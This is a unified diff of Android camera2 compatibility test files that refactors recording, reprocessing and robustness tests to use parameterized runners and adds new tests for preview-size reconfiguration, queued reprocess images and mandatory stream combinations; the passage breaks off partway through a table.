@@ -1328,17 +1361,18 @@
* Configure reader and preview outputs and wait until done.
*/
private void configureReaderAndPreviewOutputs() throws Exception {
- if (mPreviewSurface == null || mReaderSurface == null) {
+ if (mPreviewSurface == null || mTestRule.getReaderSurface() == null) {
throw new IllegalStateException("preview and reader surface must be initilized first");
}
- mCameraSessionListener = new BlockingSessionCallback();
+ mTestRule.setCameraSessionListener(new BlockingSessionCallback());
List<Surface> outputSurfaces = new ArrayList<>();
- if (mStaticInfo.isColorOutputSupported()) {
+ if (mTestRule.getStaticInfo().isColorOutputSupported()) {
outputSurfaces.add(mPreviewSurface);
}
- outputSurfaces.add(mReaderSurface);
- mCameraSession = CameraTestUtils.configureCameraSession(mCamera, outputSurfaces,
- mCameraSessionListener, mHandler);
+ outputSurfaces.add(mTestRule.getReaderSurface());
+ mTestRule.setCameraSession(CameraTestUtils.configureCameraSession(
+ mTestRule.getCamera(), outputSurfaces,
+ mTestRule.getCameraSessionListener(), mTestRule.getHandler()));
}
/**
@@ -1347,21 +1381,24 @@
* @param format The format used to create ImageReader instance.
*/
private void initializeImageReader(String cameraId, int format) throws Exception {
- mOrderedPreviewSizes = CameraTestUtils.getSortedSizesForFormat(
- cameraId, mCameraManager, format,
- CameraTestUtils.getPreviewSizeBound(mWindowManager,
- CameraTestUtils.PREVIEW_SIZE_BOUND));
- Size maxPreviewSize = mOrderedPreviewSizes.get(0);
- createDefaultImageReader(maxPreviewSize, format, NUM_MAX_IMAGES, /*listener*/null);
+ mTestRule.setOrderedPreviewSizes(CameraTestUtils.getSortedSizesForFormat(
+ cameraId, mTestRule.getCameraManager(), format,
+ CameraTestUtils.getPreviewSizeBound(mTestRule.getWindowManager(),
+ CameraTestUtils.PREVIEW_SIZE_BOUND)));
+ Size maxPreviewSize = mTestRule.getOrderedPreviewSizes().get(0);
+ mTestRule.createDefaultImageReader(
+ maxPreviewSize, format, NUM_MAX_IMAGES, /*listener*/null);
updatePreviewSurface(maxPreviewSize);
}
private void simpleOpenCamera(String cameraId) throws Exception {
- mCamera = CameraTestUtils.openCamera(
- mCameraManager, cameraId, mCameraListener, mHandler);
- mCollector.setCameraId(cameraId);
- mStaticInfo = new StaticMetadata(mCameraManager.getCameraCharacteristics(cameraId),
- CheckLevel.ASSERT, /*collector*/null);
+ mTestRule.setCamera(CameraTestUtils.openCamera(
+ mTestRule.getCameraManager(), cameraId,
+ mTestRule.getCameraListener(), mTestRule.getHandler()));
+ mTestRule.getCollector().setCameraId(cameraId);
+ mTestRule.setStaticInfo(new StaticMetadata(
+ mTestRule.getCameraManager().getCameraCharacteristics(cameraId),
+ CheckLevel.ASSERT, /*collector*/null));
}
/**
@@ -1514,4 +1551,4 @@
}
}
-}
+}
\ No newline at end of file
diff --git a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
index c61071e..30d1943 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
@@ -55,6 +55,8 @@
import junit.framework.AssertionFailedError;
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
import org.junit.Test;
import java.io.File;
@@ -69,6 +71,7 @@
* MediaCodec.
*/
@LargeTest
+@RunWith(Parameterized.class)
public class RecordingTest extends Camera2SurfaceViewTestCase {
private static final String TAG = "RecordingTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -131,25 +134,25 @@
private void doBasicRecording(boolean useVideoStab, boolean useIntermediateSurface)
throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- Log.i(TAG, "Testing basic recording for camera " + mCameraIds[i]);
- StaticMetadata staticInfo = mAllStaticInfo.get(mCameraIds[i]);
+ Log.i(TAG, "Testing basic recording for camera " + mCameraIdsUnderTest[i]);
+ StaticMetadata staticInfo = mAllStaticInfo.get(mCameraIdsUnderTest[i]);
if (!staticInfo.isColorOutputSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support color outputs, skipping");
continue;
}
// External camera doesn't support CamcorderProfile recording
if (staticInfo.isExternalCamera()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support CamcorderProfile, skipping");
continue;
}
if (!staticInfo.isVideoStabilizationSupported() && useVideoStab) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support video stabilization, skipping the stabilization"
+ " test");
continue;
@@ -157,8 +160,8 @@
// Re-use the MediaRecorder object for the same camera device.
mMediaRecorder = new MediaRecorder();
- openDevice(mCameraIds[i]);
- initSupportedVideoSize(mCameraIds[i]);
+ openDevice(mCameraIdsUnderTest[i]);
+ initSupportedVideoSize(mCameraIdsUnderTest[i]);
basicRecordingTestByCamera(mCamcorderProfileList, useVideoStab,
useIntermediateSurface);
@@ -256,19 +259,19 @@
*/
@Test(timeout=60*60*1000) // timeout = 60 mins for long running tests
public void testSupportedVideoSizes() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- Log.i(TAG, "Testing supported video size recording for camera " + mCameraIds[i]);
- if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ Log.i(TAG, "Testing supported video size recording for camera " + mCameraIdsUnderTest[i]);
+ if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support color outputs, skipping");
continue;
}
// Re-use the MediaRecorder object for the same camera device.
mMediaRecorder = new MediaRecorder();
- openDevice(mCameraIds[i]);
+ openDevice(mCameraIdsUnderTest[i]);
- initSupportedVideoSize(mCameraIds[i]);
+ initSupportedVideoSize(mCameraIdsUnderTest[i]);
recordingSizeTestByCamera();
} finally {
@@ -357,7 +360,7 @@
@Test
public void testAbandonedHighSpeedRequest() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing bad suface for createHighSpeedRequestList for camera " + id);
StaticMetadata staticInfo = mAllStaticInfo.get(id);
@@ -479,25 +482,25 @@
*/
@Test
public void testRecordingFramerateLowToHigh() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- Log.i(TAG, "Testing basic recording for camera " + mCameraIds[i]);
- StaticMetadata staticInfo = mAllStaticInfo.get(mCameraIds[i]);
+ Log.i(TAG, "Testing recording framerate low to high for camera " + mCameraIdsUnderTest[i]);
+ StaticMetadata staticInfo = mAllStaticInfo.get(mCameraIdsUnderTest[i]);
if (!staticInfo.isColorOutputSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support color outputs, skipping");
continue;
}
if (staticInfo.isExternalCamera()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support CamcorderProfile, skipping");
continue;
}
// Re-use the MediaRecorder object for the same camera device.
mMediaRecorder = new MediaRecorder();
- openDevice(mCameraIds[i]);
+ openDevice(mCameraIdsUnderTest[i]);
- initSupportedVideoSize(mCameraIds[i]);
+ initSupportedVideoSize(mCameraIdsUnderTest[i]);
int minFpsProfileId = -1, minFps = 1000;
int maxFpsProfileId = -1, maxFps = 0;
@@ -534,23 +537,23 @@
*/
@Test
public void testVideoPreviewSurfaceSharing() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- StaticMetadata staticInfo = mAllStaticInfo.get(mCameraIds[i]);
+ StaticMetadata staticInfo = mAllStaticInfo.get(mCameraIdsUnderTest[i]);
if (staticInfo.isHardwareLevelLegacy()) {
- Log.i(TAG, "Camera " + mCameraIds[i] + " is legacy, skipping");
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] + " is legacy, skipping");
continue;
}
if (!staticInfo.isColorOutputSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support color outputs, skipping");
continue;
}
// Re-use the MediaRecorder object for the same camera device.
mMediaRecorder = new MediaRecorder();
- openDevice(mCameraIds[i]);
+ openDevice(mCameraIdsUnderTest[i]);
- initSupportedVideoSize(mCameraIds[i]);
+ initSupportedVideoSize(mCameraIdsUnderTest[i]);
videoPreviewSurfaceSharingTestByCamera();
} finally {
@@ -561,6 +564,128 @@
}
/**
+ * <p>
+ * Test recording with same recording surface and different preview surfaces.
+ * </p>
+ * <p>
+ * This test maintains persistent video surface while changing preview surface.
+ * This exercises format/dataspace override behavior of the camera device.
+ * </p>
+ */
+ @Test
+ public void testRecordingWithDifferentPreviewSizes() throws Exception {
+ if (!MediaUtils.checkCodecForDomain(true /* encoder */, "video")) {
+ return; // skipped
+ }
+ mPersistentSurface = MediaCodec.createPersistentInputSurface();
+ assertNotNull("Failed to create persistent input surface!", mPersistentSurface);
+
+ try {
+ doRecordingWithDifferentPreviewSizes();
+ } finally {
+ mPersistentSurface.release();
+ mPersistentSurface = null;
+ }
+ }
+
+ public void doRecordingWithDifferentPreviewSizes() throws Exception {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
+ try {
+ Log.i(TAG, "Testing recording with different preview sizes for camera " +
+ mCameraIdsUnderTest[i]);
+ StaticMetadata staticInfo = mAllStaticInfo.get(mCameraIdsUnderTest[i]);
+ if (!staticInfo.isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
+ " does not support color outputs, skipping");
+ continue;
+ }
+ if (staticInfo.isExternalCamera()) {
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
+ " does not support CamcorderProfile, skipping");
+ continue;
+ }
+ // Re-use the MediaRecorder object for the same camera device.
+ mMediaRecorder = new MediaRecorder();
+ openDevice(mCameraIdsUnderTest[i]);
+
+ initSupportedVideoSize(mCameraIdsUnderTest[i]);
+
+ Size maxPreviewSize = mOrderedPreviewSizes.get(0);
+ List<Range<Integer> > fpsRanges = Arrays.asList(
+ mStaticInfo.getAeAvailableTargetFpsRangesChecked());
+ int cameraId = Integer.valueOf(mCamera.getId());
+ int maxVideoFrameRate = -1;
+ for (int profileId : mCamcorderProfileList) {
+ if (!CamcorderProfile.hasProfile(cameraId, profileId)) {
+ continue;
+ }
+ CamcorderProfile profile = CamcorderProfile.get(cameraId, profileId);
+
+ Size videoSz = new Size(profile.videoFrameWidth, profile.videoFrameHeight);
+ Range<Integer> fpsRange = new Range(
+ profile.videoFrameRate, profile.videoFrameRate);
+ if (maxVideoFrameRate < profile.videoFrameRate) {
+ maxVideoFrameRate = profile.videoFrameRate;
+ }
+
+ if (allowedUnsupported(cameraId, profileId)) {
+ continue;
+ }
+
+ if (mStaticInfo.isHardwareLevelLegacy() &&
+ (videoSz.getWidth() > maxPreviewSize.getWidth() ||
+ videoSz.getHeight() > maxPreviewSize.getHeight())) {
+ // Skip. Legacy mode can only do recording up to max preview size
+ continue;
+ }
+ assertTrue("Video size " + videoSz.toString() + " for profile ID " + profileId +
+ " must be one of the camera device supported video size!",
+ mSupportedVideoSizes.contains(videoSz));
+ assertTrue("Frame rate range " + fpsRange + " (for profile ID " + profileId +
+ ") must be one of the camera device available FPS range!",
+ fpsRanges.contains(fpsRange));
+
+ // Configure preview and recording surfaces.
+ mOutMediaFileName = mDebugFileNameBase + "/test_video_surface_reconfig.mp4";
+
+ // prepare preview surface by using video size.
+ List<Size> previewSizes = getPreviewSizesForVideo(videoSz,
+ profile.videoFrameRate);
+ if (previewSizes.size() <= 1) {
+ continue;
+ }
+
+ // 1. Do video recording using largest compatbile preview sizes
+ prepareRecordingWithProfile(profile);
+ updatePreviewSurface(previewSizes.get(0));
+ SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
+ startRecording(
+ /* useMediaRecorder */true, resultListener,
+ /*useVideoStab*/false, fpsRange, false);
+ SystemClock.sleep(RECORDING_DURATION_MS);
+ stopRecording(/* useMediaRecorder */true, /* useIntermediateSurface */false,
+ /* stopStreaming */false);
+
+ // 2. Reconfigure with the same recording surface, but switch to a smaller
+ // preview size.
+ prepareRecordingWithProfile(profile);
+ updatePreviewSurface(previewSizes.get(1));
+ SimpleCaptureCallback resultListener2 = new SimpleCaptureCallback();
+ startRecording(
+ /* useMediaRecorder */true, resultListener2,
+ /*useVideoStab*/false, fpsRange, false);
+ SystemClock.sleep(RECORDING_DURATION_MS);
+ stopRecording(/* useMediaRecorder */true);
+ break;
+ }
+ } finally {
+ closeDevice();
+ releaseRecorder();
+ }
+ }
+ }
+
+ /**
* Test camera preview and video surface sharing for maximum supported size.
*/
private void videoPreviewSurfaceSharingTestByCamera() throws Exception {
@@ -652,7 +777,7 @@
* </p>
*/
private void slowMotionRecording() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing slow motion recording for camera " + id);
StaticMetadata staticInfo = mAllStaticInfo.get(id);
@@ -727,7 +852,7 @@
}
private void constrainedHighSpeedRecording() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing constrained high speed recording for camera " + id);
@@ -1027,7 +1152,8 @@
SystemClock.sleep(RECORDING_DURATION_MS);
// Stop recording and preview
- stopRecording(/* useMediaRecorder */true, useIntermediateSurface);
+ stopRecording(/* useMediaRecorder */true, useIntermediateSurface,
+ /* stopCameraStreaming */false);
// Convert number of frames camera produced into the duration in unit of ms.
float frameDurationMs = 1000.0f / profile.videoFrameRate;
float durationMs = 0.f;
@@ -1142,7 +1268,7 @@
* Simple wrapper to wrap normal/burst video snapshot tests
*/
private void videoSnapshotHelper(boolean burstTest) throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing video snapshot for camera " + id);
@@ -1478,15 +1604,14 @@
}
/**
- * Update preview size with video size.
+ * Find compatible preview sizes for video size and framerate.
*
* <p>Preview size will be capped with max preview size.</p>
*
* @param videoSize The video size used for preview.
* @param videoFrameRate The video frame rate
- *
*/
- private void updatePreviewSurfaceWithVideo(Size videoSize, int videoFrameRate) {
+ private List<Size> getPreviewSizesForVideo(Size videoSize, int videoFrameRate) {
if (mOrderedPreviewSizes == null) {
throw new IllegalStateException("supported preview size list is not initialized yet");
}
@@ -1496,7 +1621,7 @@
HashMap<Size, Long> minFrameDurationMap = mStaticInfo.
getAvailableMinFrameDurationsForFormatChecked(ImageFormat.PRIVATE);
Size maxPreviewSize = mOrderedPreviewSizes.get(0);
- Size previewSize = null;
+ ArrayList<Size> previewSizes = new ArrayList<>();
if (videoSize.getWidth() > maxPreviewSize.getWidth() ||
videoSize.getHeight() > maxPreviewSize.getHeight()) {
for (Size s : mOrderedPreviewSizes) {
@@ -1510,18 +1635,32 @@
if (frameDuration <= videoFrameDuration &&
s.getWidth() <= videoSize.getWidth() &&
s.getHeight() <= videoSize.getHeight()) {
- Log.w(TAG, "Overwrite preview size from " + videoSize.toString() +
- " to " + s.toString());
- previewSize = s;
- break;
- // If all preview size doesn't work then we fallback to video size
+ Log.v(TAG, "Add preview size " + s.toString() + " for video size " +
+ videoSize.toString());
+ previewSizes.add(s);
}
}
}
- if (previewSize == null) {
- previewSize = videoSize;
+
+ if (previewSizes.isEmpty()) {
+ previewSizes.add(videoSize);
}
- updatePreviewSurface(previewSize);
+
+ return previewSizes;
+ }
+
+ /**
+ * Update preview size with video size.
+ *
+ * <p>Preview size will be capped with max preview size.</p>
+ *
+ * @param videoSize The video size used for preview.
+ * @param videoFrameRate The video frame rate
+ *
+ */
+ private void updatePreviewSurfaceWithVideo(Size videoSize, int videoFrameRate) {
+ List<Size> previewSizes = getPreviewSizesForVideo(videoSize, videoFrameRate);
+ updatePreviewSurface(previewSizes.get(0));
}
private void prepareRecordingWithProfile(CamcorderProfile profile) throws Exception {
@@ -1734,15 +1873,18 @@
}
private int stopRecording(boolean useMediaRecorder) throws Exception {
- return stopRecording(useMediaRecorder, false);
+ return stopRecording(useMediaRecorder, /*useIntermediateSurface*/false,
+ /*stopStreaming*/true);
}
// Stop recording and return the estimated video duration in milliseconds.
- private int stopRecording(boolean useMediaRecorder, boolean useIntermediateSurface)
- throws Exception {
+ private int stopRecording(boolean useMediaRecorder, boolean useIntermediateSurface,
+ boolean stopStreaming) throws Exception {
long stopRecordingTime = SystemClock.elapsedRealtime();
if (useMediaRecorder) {
- stopCameraStreaming();
+ if (stopStreaming) {
+ stopCameraStreaming();
+ }
if (useIntermediateSurface) {
mIntermediateReader.setOnImageAvailableListener(null, null);
mQueuer.expectInvalidSurface();
diff --git a/tests/camera/src/android/hardware/camera2/cts/ReprocessCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/ReprocessCaptureTest.java
index bdf98f5..e59b161 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ReprocessCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ReprocessCaptureTest.java
@@ -43,11 +43,15 @@
import java.util.ArrayList;
import java.util.List;
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
import org.junit.Test;
/**
* <p>Tests for Reprocess API.</p>
*/
+
+@RunWith(Parameterized.class)
public class ReprocessCaptureTest extends Camera2SurfaceViewTestCase {
private static final String TAG = "ReprocessCaptureTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -90,7 +94,7 @@
*/
@Test
public void testBasicYuvToYuvReprocessing() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
if (!isYuvReprocessSupported(id)) {
continue;
}
@@ -105,7 +109,7 @@
*/
@Test
public void testBasicYuvToJpegReprocessing() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
if (!isYuvReprocessSupported(id)) {
continue;
}
@@ -120,7 +124,7 @@
*/
@Test
public void testBasicYuvToHeicReprocessing() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
if (!isYuvReprocessSupported(id)) {
continue;
}
@@ -138,7 +142,7 @@
*/
@Test
public void testBasicOpaqueToYuvReprocessing() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
if (!isOpaqueReprocessSupported(id)) {
continue;
}
@@ -153,7 +157,7 @@
*/
@Test
public void testBasicOpaqueToJpegReprocessing() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
if (!isOpaqueReprocessSupported(id)) {
continue;
}
@@ -168,7 +172,7 @@
*/
@Test
public void testBasicOpaqueToHeicReprocessing() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
if (!isOpaqueReprocessSupported(id)) {
continue;
}
@@ -186,7 +190,7 @@
*/
@Test(timeout=400*60*1000) // timeout = 400 mins for long running reprocessing tests
public void testReprocessingSizeFormat() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
if (!isYuvReprocessSupported(id) && !isOpaqueReprocessSupported(id)) {
continue;
}
@@ -208,7 +212,7 @@
*/
@Test(timeout=400*60*1000) // timeout = 400 mins for long running reprocessing tests
public void testReprocessingSizeFormatWithPreview() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
if (!isYuvReprocessSupported(id) && !isOpaqueReprocessSupported(id)) {
continue;
}
@@ -229,7 +233,7 @@
*/
@Test
public void testRecreateReprocessingSessions() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
if (!isYuvReprocessSupported(id) && !isOpaqueReprocessSupported(id)) {
continue;
}
@@ -267,7 +271,7 @@
*/
@Test
public void testCrossSessionCaptureException() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
// Test one supported input format -> JPEG
int inputFormat;
int reprocessOutputFormat = ImageFormat.JPEG;
@@ -333,11 +337,78 @@
}
/**
+ * Verify queued input images are cleared in new reprocessable capture session.
+ *
+ * This tests the case where an application receives onCaptureBufferLost() for an
+ * output stream, resulting in pending input buffers not having corresponding request.
+ *
+ * For subsequent new reprocessable capture session, ImageWriter.queueInputBuffer may become
+ * stuck due to stale buffers from previous session.
+ */
+ @Test
+ public void testQueueImageWithoutRequest() throws Exception {
+ final int MAX_IMAGES = 1;
+ final int ITERATIONS = MAX_IMAGES + 3;
+ for (String id : mCameraIdsUnderTest) {
+ // Test one supported input format -> JPEG
+ int inputFormat;
+ int reprocessOutputFormat = ImageFormat.JPEG;
+
+ if (isOpaqueReprocessSupported(id)) {
+ inputFormat = ImageFormat.PRIVATE;
+ } else if (isYuvReprocessSupported(id)) {
+ inputFormat = ImageFormat.YUV_420_888;
+ } else {
+ continue;
+ }
+
+ openDevice(id);
+
+ // Test the largest sizes
+ Size inputSize =
+ getMaxSize(inputFormat, StaticMetadata.StreamDirection.Input);
+ Size reprocessOutputSize =
+ getMaxSize(reprocessOutputFormat, StaticMetadata.StreamDirection.Output);
+
+ try {
+ if (VERBOSE) {
+ Log.v(TAG, "testQueueImageWithoutRequest: cameraId: " + id +
+ " inputSize: " + inputSize + " inputFormat: " + inputFormat +
+ " reprocessOutputSize: " + reprocessOutputSize +
+ " reprocessOutputFormat: " + reprocessOutputFormat);
+ }
+
+ setupImageReaders(inputSize, inputFormat, reprocessOutputSize,
+ reprocessOutputFormat, MAX_IMAGES);
+
+ for (int i = 0; i < ITERATIONS; i++) {
+ setupReprocessableSession(/*previewSurface*/null, /*numImageWriterImages*/1);
+
+ TotalCaptureResult result = submitCaptureRequest(mFirstImageReader.getSurface(),
+ /*inputResult*/null);
+ Image image = mFirstImageReaderListener.getImage(CAPTURE_TIMEOUT_MS);
+
+ // queue the image to image writer
+ mImageWriter.queueInputImage(image);
+
+ mInputSurface = null;
+ mImageWriter.close();
+ mImageWriter = null;
+ }
+ } finally {
+ closeReprossibleSession();
+ closeImageReaders();
+ closeDevice();
+ }
+ }
+ }
+
+ /**
* Test burst reprocessing captures with and without preview.
*/
@Test(timeout=400*60*1000) // timeout = 400 mins for long running reprocessing tests
public void testBurstReprocessing() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
if (!isYuvReprocessSupported(id) && !isOpaqueReprocessSupported(id)) {
continue;
}
@@ -361,7 +432,7 @@
*/
@Test(timeout=400*60*1000) // timeout = 400 mins for long running reprocessing tests
public void testMixedBurstReprocessing() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
if (!isYuvReprocessSupported(id) && !isOpaqueReprocessSupported(id)) {
continue;
}
@@ -387,7 +458,7 @@
*/
@Test
public void testReprocessAbort() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
if (!isYuvReprocessSupported(id) && !isOpaqueReprocessSupported(id)) {
continue;
}
@@ -417,7 +488,7 @@
*/
@Test
public void testReprocessTimestamps() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
if (!isYuvReprocessSupported(id) && !isOpaqueReprocessSupported(id)) {
continue;
}
@@ -448,7 +519,7 @@
*/
@Test
public void testReprocessJpegExif() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
if (!isYuvReprocessSupported(id) && !isOpaqueReprocessSupported(id)) {
continue;
}
@@ -479,7 +550,7 @@
@Test
public void testReprocessRequestKeys() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
if (!isYuvReprocessSupported(id) && !isOpaqueReprocessSupported(id)) {
continue;
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index d108600e..918daeb 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -17,6 +17,7 @@
package android.hardware.camera2.cts;
import static android.hardware.camera2.cts.CameraTestUtils.*;
+import static android.hardware.camera2.cts.RobustnessTest.MaxStreamSizes.*;
import android.content.Context;
import android.graphics.ImageFormat;
@@ -38,12 +39,16 @@
import android.hardware.camera2.params.MandatoryStreamCombination.MandatoryStreamInformation;
import android.hardware.camera2.params.SessionConfiguration;
import android.hardware.camera2.params.StreamConfigurationMap;
+import android.media.CamcorderProfile;
import android.media.Image;
import android.media.ImageReader;
import android.media.ImageWriter;
import android.util.Log;
+import android.util.Pair;
import android.util.Size;
+import android.view.Display;
import android.view.Surface;
+import android.view.WindowManager;
import com.android.ex.camera2.blocking.BlockingSessionCallback;
@@ -54,12 +59,18 @@
import java.util.Map;
import java.util.Set;
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
import static junit.framework.Assert.assertTrue;
import static org.mockito.Mockito.*;
/**
* Tests exercising edge cases in camera setup, configuration, and usage.
*/
+
+@RunWith(Parameterized.class)
public class RobustnessTest extends Camera2AndroidTestCase {
private static final String TAG = "RobustnessTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -79,8 +90,9 @@
* this surface are expected have the dimensions of the closest possible buffer size in the
* available stream configurations for a surface with this format.
*/
+ @Test
public void testBadSurfaceDimensions() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
Log.i(TAG, "Testing Camera " + id);
openDevice(id);
@@ -160,8 +172,9 @@
/**
* Test for making sure the mandatory stream combinations work as expected.
*/
+ @Test
public void testMandatoryOutputCombinations() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
openDevice(id);
MandatoryStreamCombination[] combinations =
mStaticInfo.getCharacteristics().get(
@@ -186,7 +199,7 @@
Set<String> physicalCameraIds =
mStaticInfo.getCharacteristics().getPhysicalCameraIds();
for (String physicalId : physicalCameraIds) {
- if (Arrays.asList(mCameraIds).contains(physicalId)) {
+ if (Arrays.asList(mCameraIdsUnderTest).contains(physicalId)) {
// If physicalId is advertised in camera ID list, do not need to test
// its stream combination through logical camera.
continue;
@@ -480,8 +493,9 @@
* Test for making sure the required reprocess input/output combinations for each hardware
* level and capability work as expected.
*/
+ @Test
public void testMandatoryReprocessConfigurations() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
openDevice(id);
MandatoryStreamCombination[] combinations =
mStaticInfo.getCharacteristics().get(
@@ -716,9 +730,10 @@
}
}
+ @Test
public void testBasicTriggerSequence() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
Log.i(TAG, String.format("Testing Camera %s", id));
try {
@@ -856,8 +871,9 @@
}
+ @Test
public void testSimultaneousTriggers() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
Log.i(TAG, String.format("Testing Camera %s", id));
try {
@@ -958,8 +974,9 @@
}
}
+ @Test
public void testAfThenAeTrigger() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
Log.i(TAG, String.format("Testing Camera %s", id));
try {
@@ -1074,8 +1091,9 @@
}
}
+ @Test
public void testAeThenAfTrigger() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
Log.i(TAG, String.format("Testing Camera %s", id));
try {
@@ -1190,9 +1208,10 @@
}
}
+ @Test
public void testAeAndAfCausality() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
Log.i(TAG, String.format("Testing Camera %s", id));
try {
@@ -1372,8 +1391,9 @@
}
+ @Test
public void testAbandonRepeatingRequestSurface() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
Log.i(TAG, String.format(
"Testing Camera %s for abandoning surface of a repeating request", id));
@@ -1441,8 +1461,9 @@
}
}
+ @Test
public void testConfigureAbandonedSurface() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
Log.i(TAG, String.format(
"Testing Camera %s for configuring abandoned surface", id));
@@ -1498,10 +1519,11 @@
}
}
+ @Test
public void testAfSceneChange() throws Exception {
final int NUM_FRAMES_VERIFIED = 3;
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
Log.i(TAG, String.format("Testing Camera %s for AF scene change", id));
StaticMetadata staticInfo =
@@ -1548,10 +1570,11 @@
}
}
+ @Test
public void testOisDataMode() throws Exception {
final int NUM_FRAMES_VERIFIED = 3;
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
Log.i(TAG, String.format("Testing Camera %s for OIS mode", id));
StaticMetadata staticInfo =
@@ -1789,4 +1812,810 @@
return precaptureComplete;
}
+ /**
+ * Test for making sure that all expected mandatory stream combinations are present and
+ * advertised accordingly.
+ */
+ @Test
+ public void testVerifyMandatoryOutputCombinationTables() throws Exception {
+ final int[][] LEGACY_COMBINATIONS = {
+ // Simple preview, GPU video processing, or no-preview video recording
+ {PRIV, MAXIMUM},
+ // No-viewfinder still image capture
+ {JPEG, MAXIMUM},
+ // In-application video/image processing
+ {YUV, MAXIMUM},
+ // Standard still imaging.
+ {PRIV, PREVIEW, JPEG, MAXIMUM},
+ // In-app processing plus still capture.
